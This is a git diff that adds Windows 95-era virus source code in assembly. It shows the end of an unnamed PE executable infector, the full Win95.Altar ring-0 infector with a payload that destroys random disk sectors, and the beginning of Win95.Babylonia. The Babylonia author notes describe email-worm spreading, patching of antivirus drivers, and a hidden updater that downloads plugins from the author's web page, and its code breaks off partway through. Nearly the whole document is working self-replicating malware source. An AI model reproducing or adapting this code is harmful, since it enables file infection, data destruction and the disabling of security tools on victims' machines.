+ _CreateFileA dd 0 + szWriteFile db 'WriteFile',0 + _WriteFile dd 0 + szCloseHandle db 'CloseHandle',0 + _CloseHandle dd 0 + szReadFile db 'ReadFile',0 + _ReadFile dd 0 + szSetFilePointer db 'SetFilePointer',0 + _SetFilePointer dd 0 + szFindFirstFileA db 'FindFirstFileA',0 + _FindFirstFileA dd 0 + szFindNextFileA db 'FindNextFileA',0 + _FindNextFileA dd 0 + szFindClose db 'FindClose',0 + _FindClose dd 0 + + loc dd 0 + loc2 dd 0 + + HostEntryPoint dd 0 + HEP2 dd 00401000h + + _EBP dd 0 + _EDI dd 0 + _ESI dd 0 + _EAX dd 0 + _EBX dd 0 + _ECX dd 0 + _EDX dd 0 + + FirstGeneration dd 1 + +JumpOverData: + +;---------------------------------------------------------------------------- +; Get the required API function addresses from the Kernel32.dll +;---------------------------------------------------------------------------- + lea esi, [ebp+szCreateFileA] + call GetFunctionAddress + mov [ebp+_CreateFileA], eax + + lea esi, [ebp+szWriteFile] + call GetFunctionAddress + mov [ebp+_WriteFile], eax + + lea esi, [ebp+szCloseHandle] + call GetFunctionAddress + mov [ebp+_CloseHandle], eax + + lea esi, [ebp+szReadFile] + call GetFunctionAddress + mov [ebp+_ReadFile], eax + + lea esi, [ebp+szSetFilePointer] + call GetFunctionAddress + mov [ebp+_SetFilePointer], eax + + lea esi, [ebp+szFindFirstFileA] + call GetFunctionAddress + mov [ebp+_FindFirstFileA], eax + + lea esi, [ebp+szFindNextFileA] + call GetFunctionAddress + mov [ebp+_FindNextFileA], eax + + lea esi, [ebp+szFindClose] + call GetFunctionAddress + mov [ebp+_FindClose], eax + +;---------------------------------------------------------------------------- +; Main +;---------------------------------------------------------------------------- + + Call FindHostFile ;Find an exe to infect + cmp eax, 0FFFFFFFFh + je BackToHost + + lea eax, [ebp+FullFileName] ;Open it + mov ebx, 0C0000000h + call OpenFile + cmp eax, 0FFFFFFFFh + je BackToHost + + call GetHeader ;Get its PE header + + call AddCodeToHost ;Add virus to it + + call PutHeader ;Write the updated PE header + ;to it + mov eax, [ebp+Handle] + call CloseFile ;Close it + +BackToHost: + cmp dword ptr [ebp+FirstGeneration], 1 + je Exit + + mov eax, dword ptr [ebp+HostEntryPoint] + push eax + Call RestoreRegisters + ret ;return to host + +Exit: + push 0 + Call ExitProcess + +;---------------------------------------------------------------------------- +; General Procedures +;---------------------------------------------------------------------------- +SaveRegisters PROC + mov [ebp+_EDI], edi + mov [ebp+_ESI], esi + mov [ebp+_EBX], ebx + mov [ebp+_ECX], ecx + mov [ebp+_EDX], edx + pop eax + pop ebx + mov [ebp+_EBP], ebx + push eax + ret +SaveRegisters ENDP + +RestoreRegisters PROC + mov edi, [ebp+_EDI] + mov esi, [ebp+_ESI] + mov ebx, [ebp+_EBX] + mov ecx, [ebp+_ECX] + mov edx, [ebp+_EDX] + mov ebp, [ebp+_EBP] + ret +RestoreRegisters ENDP + +AddCodeToHost PROC + push dword ptr [ebp+FirstGeneration] + mov dword ptr [ebp+FirstGeneration], 0 + + mov eax, dword ptr [ebp+PE_Header+40] + add eax, dword ptr [ebp+PE_Header+52] ;add image base + mov [ebp+HEP2], eax ;Save original entry point + + mov eax, 0 + mov ebx, 2 + Call SeekData ;Seek to EOF + mov [ebp+loc], eax + add [ebp+loc], 2560 ;loc = new EOF + + mov eax, [ebp+StartOfCode] + mov ebx, 2560 + call PutData ;Write virus to EOF + + xor edx, edx + xor eax, eax + mov ax, word ptr [ebp+PE_Header+6] + dec eax + mov ebx, 40 + mul ebx + add eax, [ebp+LocationOfHeader] + add eax, 248 + mov ebx, 0 + Call SeekData ;Seek to the last section header + + lea eax, [ebp+SectionHeader] + mov ebx, 40 + Call GetData ;Get the last section header + + mov eax, dword ptr [ebp+PE_Header+80] + sub eax, [ebp+VirtualSize] + mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size + + mov eax, [ebp+loc] + sub eax, [ebp+PointerToRawData] + mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData + + shr eax, 12 ;divide eax by 4096 + shl eax, 12 ;multiply eax by 4096 + add eax, 8192 ;add 1 - 2k for any unitialized data + mov [ebp+VirtualSize], eax ;Update VirtualSize + + mov eax, [ebp+SizeOfRawData] + sub eax, 2560 + add eax, [ebp+VirtualAddress] + mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point + + mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable + + mov eax, -40 + mov ebx, 1 + Call SeekData + lea eax, [ebp+SectionHeader] + mov ebx, 40 + Call PutData ;Write section header back to file + + mov eax, dword ptr [ebp+PE_Header+80] + add eax, [ebp+VirtualSize] + mov dword ptr [ebp+PE_Header+80], eax ;update image size + + mov eax, 79h + mov ebx, 0 + Call SeekData + lea eax, [ebp+VirusSignature] + mov ebx, 4 + Call PutData ;Write Virus Signature to host + ;to prevent reinfection + pop dword ptr [ebp+FirstGeneration] + ret +AddCodeToHost ENDP + +FindHostFile PROC + + lea eax, [ebp+Win32_Find_Data] + lea ebx, [ebp+SearchString] + push eax + push ebx + Call [ebp+_FindFirstFileA] + mov [ebp+FindHandle], eax ;Get First File match + +FindHost: + lea eax, [ebp+FullFileName] + mov ebx, 0C0000000h + call OpenFile + cmp eax, 0FFFFFFFFh + je FindNext + mov [ebp+Handle], eax + + mov eax, 79h + mov ebx, 0 + Call SeekData + lea eax, [ebp+loc] + mov ebx, 4 + Call GetData + + mov eax, 3Ch + mov ebx, 0 + Call SeekData + lea eax, [ebp+loc2] + mov ebx, 4 + Call GetData + mov eax, [ebp+loc2] + mov ebx, 0 + Call SeekData + lea eax, [ebp+loc2] + mov ebx, 4 + Call GetData ;Get PE signature + + mov eax, [ebp+Handle] + Call CloseFile + + cmp [ebp+loc], 0DEADBEEFh + jne NextCheck ;Already Infected? + je FindNext + +NextCheck: + cmp [ebp+loc2], 00004550h ;Valid PE EXE? + je FoundHost + +FindNext: + lea eax, [ebp+Win32_Find_Data] + push eax + push [ebp+FindHandle] + Call [ebp+_FindNextFileA] + cmp eax, 0 ;No more exes left + je HostNotFound + jmp FindHost + +FoundHost: + push [ebp+FindHandle] + Call [ebp+_FindClose] + ret + +HostNotFound: + push [ebp+FindHandle] + Call [ebp+_FindClose] + mov eax, 0FFFFFFFFh + ret +FindHostFile ENDP + + +GetHeader PROC + mov eax, 3Ch + mov ebx, 0 + call SeekData + lea eax, [ebp+LocationOfHeader] + mov ebx, 4 + call GetData + mov eax, [ebp+LocationOfHeader] + mov ebx, 0 + call SeekData + lea eax, [ebp+PE_Header] + mov ebx, 248 + call GetData + ret +GetHeader ENDP + +PutHeader PROC + mov eax, 3Ch + mov ebx, 0 + call SeekData + lea eax, [ebp+LocationOfHeader] + mov ebx, 4 + call GetData + mov eax, [ebp+LocationOfHeader] + mov ebx, 0 + call SeekData + lea eax, [ebp+PE_Header] + mov ebx, 248 + call PutData + ret +PutHeader ENDP + +GetFunctionAddress PROC + mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address + mov ebx, [eax+3Ch] + add ebx, eax + add ebx, 120 + mov ebx, [ebx] + add ebx, eax ;EBX = Export Address + + xor edx, edx + mov ecx, [ebx+32] + add ecx, eax + push esi + push edx +CompareNext: + pop edx + pop esi + inc edx + mov edi, [ecx] + add edi, eax + add ecx, 4 + push esi + push edx +CompareName: + mov dl, [edi] + mov dh, [esi] + cmp dl, dh + jne CompareNext + inc edi + inc esi + cmp byte ptr [esi], 0 + je GetAddress + jmp CompareName +GetAddress: + pop edx + pop esi + dec edx + shl edx, 1 + mov ecx, [ebx+36] + add ecx, eax + add ecx, edx + xor edx, edx + mov dx, [ecx] + shl edx, 2 + mov ecx, [ebx+28] + add ecx, eax + add ecx, edx + add eax, [ecx] + + ret +GetFunctionAddress ENDP + + +;---------------------------------------------------------------------------- +; File I/O Procedures +;---------------------------------------------------------------------------- + +OpenFile PROC + push 00000000h + push 00000080h + push 00000003h + push 00000000h + push 00000000h + push ebx ;open for read/write + push eax + call [ebp+_CreateFileA] + mov [ebp+Handle], eax + ret +OpenFile ENDP + +CloseFile PROC + push eax + call [ebp+_CloseHandle] + ret +CloseFile ENDP + +SeekData PROC + push ebx ; 0 = begin / 1 = current / 2 = end + push 0 + push eax ; location to seek to + push [ebp+Handle] + call [ebp+_SetFilePointer] + ret +SeekData ENDP + +GetData PROC + lea ecx, [ebp+NumberOfBytesRead] + push 00000000h + push ecx + push ebx + push eax + push [ebp+Handle] + call [ebp+_ReadFile] + ret +GetData ENDP + +PutData PROC + lea ecx, [ebp+NumberOfBytesRead] + push 0 + push ecx + push ebx + push eax + push [ebp+Handle] + call [ebp+_WriteFile] + ret +PutData ENDP + +End Main + +;Wow your actualy still reading? Get a life :p + diff --git a/LegacyWindows/Win95.Altar.asm b/LegacyWindows/Win95.Altar.asm new file mode 100644 index 00000000..19a33fdb --- /dev/null +++ b/LegacyWindows/Win95.Altar.asm @@ -0,0 +1,539 @@ +;============================================================================ +; +; +; NAME: Win95.Altar 1.01 +; OS: Windoze 95/98. +; TYPE: Parasitic resident (VxD) PE-infector. +; SIZE: Around 800 bytes. +; AUTHOR: T-2000 / Immortal Riot. +; E-MAIL: T2000_@hotmail.com +; DATE: June 1999. +; DESTRUCTIVE: Yeah. +; +; FEATURES: +; +; - Gains ring-0 by hacking an IDT-gate. +; - Hosts don't increase in size. +; - Payload: random sector-trashing. +; +; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash- +; chance was set rather high, just to fuck beginners :P +; +;============================================================================ + + + .386p + .MODEL FLAT + .CODE + + ORG 0 + +EXTRN ExitProcess:PROC + +IFSMgr EQU 0040h +GetHeap EQU 000Dh +UniToBCSPath EQU 0041h +InstallFileSystemAPIhook EQU 0067h +Ring0_FileIO EQU 0032h +IFSFN_OPEN EQU 36 +R0_WRITEFILE EQU 0D601h + +Virus_Size EQU (Virus_End-START) +Virus_Size_Mem EQU (End_Virus_Mem-START) + + +START: + PUSH (1000h+(Carrier-START)) +Host_EIP = DWORD PTR $-4 + + PUSHFD + PUSHAD + + CALL Get_Delta + + MOV EAX, EBP + + SUB EAX, 1000h ; Calculate base-address. +Virus_RVA = DWORD PTR $-4 + + ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA. + + XOR EAX, EAX + + CALL Setup_SEH ; Bail-out without errors + ; under NT. + MOV ESP, [ESP+(2*4)] + + JMP Return_Host + +Setup_SEH: PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + PUSH EAX ; Store IDT in EAX. + SIDT [ESP-2] + POP EAX + + LEA EBX, [EBP+(Ring0_Installation-START)] + + XCHG [EAX+(3*8)], BX ; Hack IDT-gate. + ROR EBX, 16 + XCHG [EAX+(3*8)+6], BX + + INT 3 + + MOV [EAX+(3*8)+6], BX ; Restore IDT-gate. + ROL EBX, 16 + MOV [EAX+(3*8)], BX + +Return_Host: XOR EAX, EAX ; Restore the original SEH. + + POP DWORD PTR FS:[EAX] + POP EAX + + POPAD + POPFD + + RET ; RETurn to our host. + + +Copyright DB '[Altar] by T-2000 / Immortal Riot', 0 + + +VxD_Ring0_FileIO: + + INT 20h + DW Ring0_FileIO + DW IFSMgr + + RET + + +Ring0_Installation: + + PUSHFD + PUSHAD + + MOV EAX, DR2 ; Get DR2 in EAX. + + CMP AL, 'T' ; We're already resident? + JE Exit_R0_Inst + + LEA EDI, [EBP+(VxD_Ring0_FileIO-START)] + + MOV AX, 20CDh + STOSW + + MOV [EDI], 00400032h + + MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX + MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX + MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX + + MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh + MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h + MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h + + PUSH Virus_Size_Mem ; Allocate memory from the + INT 20h ; global heap. + DW GetHeap + DW IFSMgr +VxD_Call_1 = $-6 + POP ECX + + OR EAX, EAX ; Error occurred? + JZ Exit_R0_Inst + + MOV ESI, EBP ; Copy us to VxD-memory. + MOV EDI, EAX + CLD + REP MOVSB + + MOV [EAX+(Busy_Switch-START)], ECX + + ADD EAX, (Ring0_Hook-START) + + PUSH EAX ; Insert our file-hook. + INT 20h + DW InstallFileSystemAPIhook + DW IFSMgr +VxD_Call_2 = $-6 + POP EBX + + XCHG ECX, EAX ; Error? + JECXZ Exit_R0_Inst + + MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX + + MOV AL, 'T' ; Mark us as resident. + MOV DR2, EAX + +Exit_R0_Inst: POPAD + POPFD + + IRETD ; Back to our ring-3 part. + + +Ring0_Hook: + JMP $+666h +Busy_Switch = DWORD PTR $-4 + + PUSHFD + PUSHAD + + CALL Get_Delta + + MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4 + + CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN + JNE Exit_Infect + + CALL Get_Random + + CMP DL, 5 + JA Obtain_Name + + CALL Get_Random + + MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK + INC ECX + LEA ESI, [EBP+(Copyright-START)] + CALL VxD_Ring0_FileIO + +Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure. + + MOV ESI, [EBX+(3*4)] ; Unicode-path. + + CLD + LODSD + + PUSH DWORD PTR [ESP+(9*4)+(5*4)] + PUSH 259 + PUSH ESI + LEA ESI, [EBP+(ANSI_Target-START)] + PUSH ESI + INT 20h + DW UniToBCSPath + DW IFSMgr +VxD_Call_3 = $-6 + + ADD ESP, (4*4) ; Fix stack. + + OR EDX, EDX ; No problems during the + JNZ Exit_Infect ; conversion? + + MOV [ESI+EAX], DL + + CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file? + JNE Exit_Infect + + XOR EAX, EAX ; R0_OPENCREATFILE + MOV AH, 0D5h + PUSH 02h + POP EBX + INC EDX + CALL VxD_Ring0_FileIO + JC Exit_Infect + + XCHG EBX, EAX ; Save filehandle in EBX. + + XOR EAX, EAX ; R0_GETFILESIZE + MOV AH, 0D8h + CALL VxD_Ring0_FileIO + + CMP EAX, 4096 ; Avoid infecting files which +JC_Close_File: JB Close_File ; are too small. + + MOV [EBP+(Victim_Size-START)], EAX + + LEA EDI, [EBP+(Header-START)] + + ; Read-in the DOS MZ-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 40h + POP ECX + XOR EDX, EDX + MOV ESI, EDI + CALL VxD_Ring0_FileIO + JC JC_Close_File + + CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file? + JNE Close_File + + MOV EDX, [EDI+3Ch] ; Pointer to PE-header. + + MOV [EBP+(PE_Header_Offs-START)], EDX + + ; Read-in PE-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 92 + POP ECX + CALL VxD_Ring0_FileIO + + CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header. + JNE Close_File + + CMP [EDI.PE_Checksum], -666h ; Avoid infected + JE Close_File ; files. + + MOVZX EAX, [EDI.Object_Count] + DEC EAX + PUSH 40 + POP ECX + MUL ECX + + MOVZX DX, [EDI.NT_Header_Size] + + LEA EDX, [EDX+24+EAX] + + ADD EDX, [EBP+(PE_Header_Offs-START)] + + MOV [EBP+(Last_Obj_Offset-START)], EDX + + ; Read-in the last object-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 40 + POP ECX + LEA ESI, [EBP+(Last_Obj_Table-START)] + CALL VxD_Ring0_FileIO + + MOV EAX, [ESI.Section_Physical_Size] + + CMP EAX, [ESI.Section_Virtual_Size] + JBE Check_Size + + MOV EAX, [ESI.Section_Virtual_Size] + +Check_Size: PUSH EAX + + MOV ECX, Virus_Size + + ADD EAX, ECX + ADD EAX, [ESI.Section_Physical_Offset] + + CMP EAX, 12345678h ; File increases in size? +Victim_Size = DWORD PTR $-4 + + POP EAX + + JA Close_File ; Then abort the infect. + + PUSH EAX + + PUSH EAX + + ADD EAX, ECX + + PUSH EAX + + MOV ECX, [EDI.File_Align] + CALL Align_EAX + + CMP [ESI.Section_Physical_Size], EAX + JNB Calc_New_Virt + + MOV [ESI.Section_Physical_Size], EAX + +Calc_New_Virt: POP EAX + MOV ECX, [EDI.Object_Align] + CALL Align_EAX + + CMP [ESI.Section_Virtual_Size], EAX + JNB Set_New_EIP + + ADD [EDI.Image_Size], EAX + + XCHG [ESI.Section_Virtual_Size], EAX + + SUB [EDI.Image_Size], EAX + +Set_New_EIP: POP EAX + + ADD EAX, [ESI.Section_RVA] + + MOV [EBP+(Virus_RVA-START)], EAX + + XCHG [EDI.EIP_RVA], EAX + + MOV [EBP+(Host_EIP-START)], EAX + + ; Write updated object-header back to disk. + + MOV EAX, R0_WRITEFILE + PUSH 40 + POP ECX + MOV EDX, 12345678h +Last_Obj_Offset = DWORD PTR $-4 + CALL VxD_Ring0_FileIO + + POP EDX + + ; Insert virus-body into our victim. + + MOV EAX, R0_WRITEFILE + MOV ECX, Virus_Size + ADD EDX, [ESI.Section_Physical_Offset] + MOV ESI, EBP + CALL VxD_Ring0_FileIO + + ; Mark file as infected. + + MOV [EDI.PE_Checksum], -666h + + ; Write updated PE-header back to disk. + + MOV EAX, R0_WRITEFILE + PUSH 92 + POP ECX + MOV EDX, 12345678h +PE_Header_Offs = DWORD PTR $-4 + MOV ESI, EDI + CALL VxD_Ring0_FileIO + + ; Close the file. + +Close_File: XOR EAX, EAX ; R0_CLOSEFILE + MOV AH, 0D7h + CALL VxD_Ring0_FileIO + +Exit_Infect: XOR EAX, EAX ; Reset busy-flag. + + MOV [EBP+(Busy_Switch-START)], EAX + + POPAD + POPFD + +JMP_Prev_Hook: JMP DS:[12345678h] +Prev_Handler = DWORD PTR $-4 + + + DB 'Awaiting the sacrifice...', 0 + + +Align_EAX: + XOR EDX, EDX + DIV ECX + + OR EDX, EDX + JZ Calc_Aligned + + INC EAX + +Calc_Aligned: MUL ECX + + RET + + +Get_Delta: + CALL Get_EIP +Get_EIP: POP EBP + SUB EBP, (Get_EIP-START) + + RET + + +Get_Random: + IN EAX, 40h + ADD EDX, EAX + +Randomize: IN EAX, 40h + XCHG AH, AL + + ADD EAX, 0DEADBEEFh + + RCL EDX, 3 + + XOR EDX, EAX + + LOOP Randomize + + RET + +Virus_End: + +ANSI_Target DB 260 DUP(0) + +Header DB 92 DUP(0) + +Last_Obj_Table DB 40 DUP(0) + +End_Virus_Mem: + + +Carrier: + PUSH 0 + CALL ExitProcess + + + + +; The good old MZ-header... + +MZ_Header STRUC +MZ_Mark DW 0 +MZ_Image_Mod_512 DW 0 +MZ_Image_512_Pages DW 0 +MZ_Reloc_Items DW 0 +MZ_Header_Size_Mem DW 0 +MZ_Min_Size_Mem DW 0 +MZ_Max_Size_Mem DW 0 +MZ_Program_SS DW 0 +MZ_Program_SP DW 0 +MZ_Checksum DW 0 +MZ_Program_IP DW 0 +MZ_Program_CS DW 0 +MZ_Reloc_Table DW 0 +MZ_Header ENDS + + +PE_Header STRUC +PE_Mark DD 0 ; PE-marker (PE/0/0). +CPU_Type DW 0 ; Minimal CPU required. +Object_Count DW 0 ; Number of sections in PE. + DD 0 +Reserved_1 DD 0 + DD 0 +NT_Header_Size DW 0 +PE_Flags DW 0 + DD 4 DUP(0) +EIP_RVA DD 0 + DD 2 DUP(0) +Image_Base DD 0 +Object_Align DD 0 +File_Align DD 0 + DW 0, 0 + DW 0, 0 + DW 0, 0 +PE_Reserved_5 DD 0 +Image_Size DD 0 +Headers_Size DD 0 +PE_Checksum DD 0 + DW 0 +DLL_Flags DW 0 +PE_Header ENDS + + +Section_Header STRUC +Section_Name DB 8 DUP(0) ; Zero-padded section-name. +Section_Virtual_Size DD 0 ; Memory-size of section. +Section_RVA DD 0 ; Start section in memory. +Section_Physical_Size DD 0 ; Section-size in file. +Section_Physical_Offset DD 0 ; Section file-offset. +Section_Reserved_1 DD 0 ; Not used for executables. +Section_Reserved_2 DD 0 ; Not used for executables. +Section_Reserved_3 DD 0 ; Not used for executables. +Section_Flags DD 0 ; Flags of the section. +Section_Header ENDS + + + END START + + + + + diff --git a/LegacyWindows/Win95.Babylonia.11036.asm b/LegacyWindows/Win95.Babylonia.11036.asm new file mode 100644 index 00000000..eea3bda5 --- /dev/null +++ b/LegacyWindows/Win95.Babylonia.11036.asm @@ -0,0 +1,3247 @@ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[BABYLON.ASM]ΔΔΔ +comment ^ + +W95/Babylonia.11036 - Set babylonia on fire! +(c) Vecna 1999 + +I am of the opinion that asm talk by itself to the worthwhile reader, so, i +will be brief... + +This virus is a memory resident ring0/ring3 virus, infecting PE EXE files, +HLP files, and WSOCK32.DLL. The virus use EPO features, but no encryption or +poly at all, altought it can be updated via WWW. ;) + +For much time, peoples where thinking about a virus upgradeable. Some attemps +where made, as W95/SK, that was able to run special preparated data in RAR +files. But how far the upgrade RAR packet can go? In this virus, i show my +implementation of a plugin format, with the modules(plug-ins) online at a +a WWW page. + +The virus is also a advanced email worm, attaching itself to all outgoing +e-mails(no sending a new one as happy99), can deal with attachments already +in e-mail body, have BASE64 and uu-encode routines, and, more important, the +icon of the infected dropper sended by email change with the current date. + +When a infected app(or dropper) is executed, the virus dont get control at +this moment. The virus patch a JMP or CALL, and wait be called. When this +happen, the virus load some APIs from KERNEL32.DLL memory image(using CRC32), +then jump to ring0 using a callgate. The infamous DESCRIPTOR 0 is used to +store the temporary data, breaking the pmode tabu ;) + +While in ring0, the virus alloc some memory, and install a hook in IFS handler +and wait for access to PE EXE files, HLP files, and WSOCK32.DLL. The memory +is also scanned for presence of SPIDER.VXD(DrWeb) and AVP.VXD(Z0MBiE's lib). +If they're found, their code is patched in a way that it lose the ability of +open files. After returning control to the host, if the virus has just +installed memory resident, it drop the www updater to disk and spawn it. +More about the www updater below. + +PE files when accessed are infected by having the virus appended to last +section, or overwrited if is was relocs, and with the CODE sections scanned +for a suitable place for a CALL VIRUS. HLP files have added a script that pass +control immediatly to virus code by using the callback features of the API of +USER32 EnumWindows(). + +When WSOCK32.DLL is accessed, the send() export is redirected to a chunk of +code in top of relocation info. This code get a ring0 memory pointer to the +new send() handler, by new added functionality to the GetFileAttibute() API ;) + +The code in new send() scan the outgoing data by e-mail info, and add a +infected dropper at the end of it. The virus support both MIME and non-MIME +email clients, and can add the dropper in both uu-encoded and BASE64 format. +The icon of this dropper change together with the name, to reflect some dates. + +All data carried with the virus is compressed using aPLib v0.22b library. I +change my old LZW scheme by this routines due the immense gain in speed, +compressed size, and code size. Is the same algorithm i used in Fabi.9608. + +When the www updater is executed, it register itself, with the fake name of +KERNEL32.EXE, in registry, to run always, and copy itself to /winsys directory +to avoid easy detection. The updater hide himself in the CTRL+ALT+DEL task +list, and stay in background waiting for the user connect to the internet. + +Always in background, without any user notice, the www updater then connect +to my www page, download the virus plug-ins(that have a special format, and +can be expanded, to have full compatibility with future versions). If these +modules complain with the version and features requeried to run, it is +executed. The power of this is obvious. By adding new plugins, i can make the +virus a irc-worm, infect remote drives, or even a poly engine. The problem of +the possible take down of my URL is bypassed with the smart use of forwarders +(not implemented in the public source version of the updater). + +The first module online are the greetz to the peoples that helped me in this +virus, be with betatesting, be with ideas, be with moral support. Currently +i am working in new modules, with new ideas that i think will be worth of be +coded. + +If you arent a d0rk, you can contact me at vecna_br@hotmail.com, but idiot +questions about how compile and like will be ignored... and your soul can be +lost in the attempt of contact me ;) + +Questions about where's the entrypoint will be ignored too... ;> + +^ + +.586p +.model flat +locals + + ofs equ offset + by equ byte ptr + wo equ word ptr + dwo equ dword ptr + fwo equ fword ptr + + TRUE EQU 1 + FALSE EQU 0 + +include host.inc + +_VIRUS segment dword use32 public 'KMARAI' + +vcode equ this byte + +DEBUG equ FALSE ;debug version? + +DROPPER_SIZE equ 6144 + +ENTRY_READ equ 128 +SKIP_FIRST equ 16 + +CRLF equ <13,10> + +CRC_POLY equ 0EDB88320h +CRC_INIT equ 0FFFFFFFFh + +crc macro string ;jp/lapse macro +.radix 16d + crcReg = CRC_INIT + irpc _x, + ctrlByte = '&_x&' xor (crcReg and 0ff) + crcReg = crcReg shr 8 + rept 8 + ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1)) + endm + crcReg = crcReg xor ctrlByte + endm + dd crcReg +.radix 10d +endm + +_gdt struc +limit dw ? +base dd ? +_gdt ends + +_descriptor struc +limit_l dw ? +base_l dw ? +base_m db ? +access db ? +limit_h db ? +base_h db ? +_descriptor ends + +_jmpfar struc +jmpofs32 dd ? +selectr dw ? +_jmpfar ends + +_callback struc +offset_l dw ? +selector dw ? +attrib dw ? +offset_h dw ? +_callback ends + +wsize2 equ 260 + +hook proc + db 0e9h + i_jmp dd 0 ;HLP redirector +hlp_start = ofs virusmain-$ + enter 20h, 0 ;setup stack frame + push ecx + push ebx + mov ebx, [ebp+0Ch] + cmp bl, 33 ;hookz ifs_attr + je @@jmpcc + cmp bl, 36 ;hookz ifs_open + je @@jmpcc + cmp bl, 37 ;hookz ifs_ren + @@jmpcc: + jmpcc equ by $ + jne @@noopen ;beware! near form of jnz + mov ebx, ebp + pusha + call delta + mov wo [ebp+(ofs jmpcc-ofs vcode)], 0e990h + add esp, -wsize2 + mov edi, esp + mov eax, [ebx+10h] + inc al + jz @@nodrive + sub ax, -(":@"-1) + stosw + @@nodrive: + push 0 ;BCS_WANSI + push 255 + mov eax, [ebx+1ch] + mov eax, [eax+0ch] + inc eax + inc eax + inc eax + inc eax + push eax + push edi + push 400041h ;VxDCall UniToBCSPath + call vxd + add esp, 16 + dec edi ;edi=start of name + dec edi + lea esi, [edi+eax-2] + mov eax, [esi] + not eax + + cmp eax, not '---.' + jne @@no_special + cmp wo [esi-10], '_\' + jne @@no_special ;trying to access the backdoor? + cmp dwo [ebx+0ch], 33 ;file attr? + jne @@no_special + mov wo [ebp+(ofs backdoor-ofs vcode)], 9090h ;wsock32.dll is calling us + @@no_special: + + IF DEBUG EQ TRUE + cmp [esi-4], 'TAOG' + jne @@shit + ENDIF + xor eax, not 'EXE.' ;esi=extension + jnz @@try_hlp + +doshdr equ 0 +peptr equ 3ch +pehdr equ doshdr+40h +cbfr equ pehdr+0f8h +sectn equ cbfr+100h +fsize equ sectn+200h +epraw equ fsize+4 +vrva equ epraw+4 +lolimit equ vrva+4 +uplimit equ lolimit+4 +wsize4 equ uplimit+4 + + add esp, -wsize4 ;infect PE EXE files... + mov esi, edi + call open + jc @@err + call getsize + mov [esp+fsize], eax + cmp eax, DROPPER_SIZE ;my babies get better treatment + je @@dropper + call check_size + jz @@err1 + @@dropper: + mov esi, esp + push 40h + pop ecx + sub edx, edx + call read ;read 40h of header + xor eax, ecx + jnz @@err1 + movzx eax, wo [esi] + not eax + sub eax, not 'ZM' ;make sure is a EXE + jnz @@err1 + + cmp wo [esi+18h], 40h + jb @@err1 + + add cl, 0f8h-40h + sub esi, -peptr + lodsd + xchg eax, edx + call read + jc @@err1 + call check_file ;already infected? + jz @@err1 + + movzx eax, wo [esi+22] + test eax, 0102h + jz @@err1 + test eax, 3000h ;executable/no dll + jnz @@err1 + + movzx ecx, wo [esi+6] + cmp cl, 3 + jb @@err1 ;too few sections + push 0f8h + imul ecx, ecx, 40 + pop edx + add edx, [esp+peptr] + lea esi, [esp+sectn] + call read ;read section table + sub edi, edi + xchg edi, ecx + mov eax, [esp+pehdr+40] + sub eax, [esi+12] + cmp eax, [esi+8] ;entrypoint in first section? + ja @@err1 + add eax, [esi+20] ;raw ofs of entrycode + mov [esp+epraw], eax + + mov eax, [esi+36] + bts eax, 31 ;make 1st sec +write + jc @@err1 ;and exit if already is + bt eax, 5 + jnc @@err1 ;need be CODE + test eax, 10000000h+80h+40h + jnz @@err1 ;cant be SHARED or UDATA/DATA + mov [esi+36], eax + + mov eax, [esi+12] + mov [esp+lolimit], eax + add eax, [esi+8] + mov [esp+uplimit], eax ;boundaries of .code section + mov ebx, -(ofs vend-ofs vcode) + sub ecx, ebx + mov eax, [esp+pehdr+160] + sub eax, [esi+edi-40+12] + jnz @@increase ;last section isnt relocs + mov eax, [esi+edi-40+16] + add eax, ebx + jnb @@increase ;relocs too small + sub eax, eax + mov edx, eax + add eax, [esi+edi-40+12] ;rva of start of our code + mov [esp+vrva], eax + add edx, [esi+edi-40+20] + jmp @@write + @@increase: + mov eax, [esi+edi-40+8] + mov edx, eax + add eax, [esi+edi-40+12] + add edx, [esi+edi-40+20] + mov [esp+vrva], eax ;rva of start of our code + sub [esi+edi-40+8], ebx + mov eax, [esi+edi-40+16] + sub eax, ebx ;increase last section + mov ebx, [esp+pehdr+60] + dec ebx + add eax, ebx + not ebx + and eax, ebx ;align raw section size + mov [esi+edi-40+16], eax + @@write: + mov dwo [esi+edi-40+36], 0c0000040h + sub dwo [esp+vrva], -(ofs virusmain-ofs vcode) + add esi, edi + add esi, (-40+8) + lodsd + xchg ebx, eax + lodsd + add ebx, eax ;rva+size + mov eax, [esp+pehdr+56] + dec eax + add ebx, eax + not eax + and ebx, eax ;align it + mov [esp+pehdr+80], ebx ;update imagesize + mov esi, ebp + pusha + mov edx, [esp+epraw+((8*4))] + push ENTRY_READ + lea esi, [esp+cbfr+(8*4)+4] + pop ecx + call read ;read entrycode + pusha + push SKIP_FIRST + pop eax + add 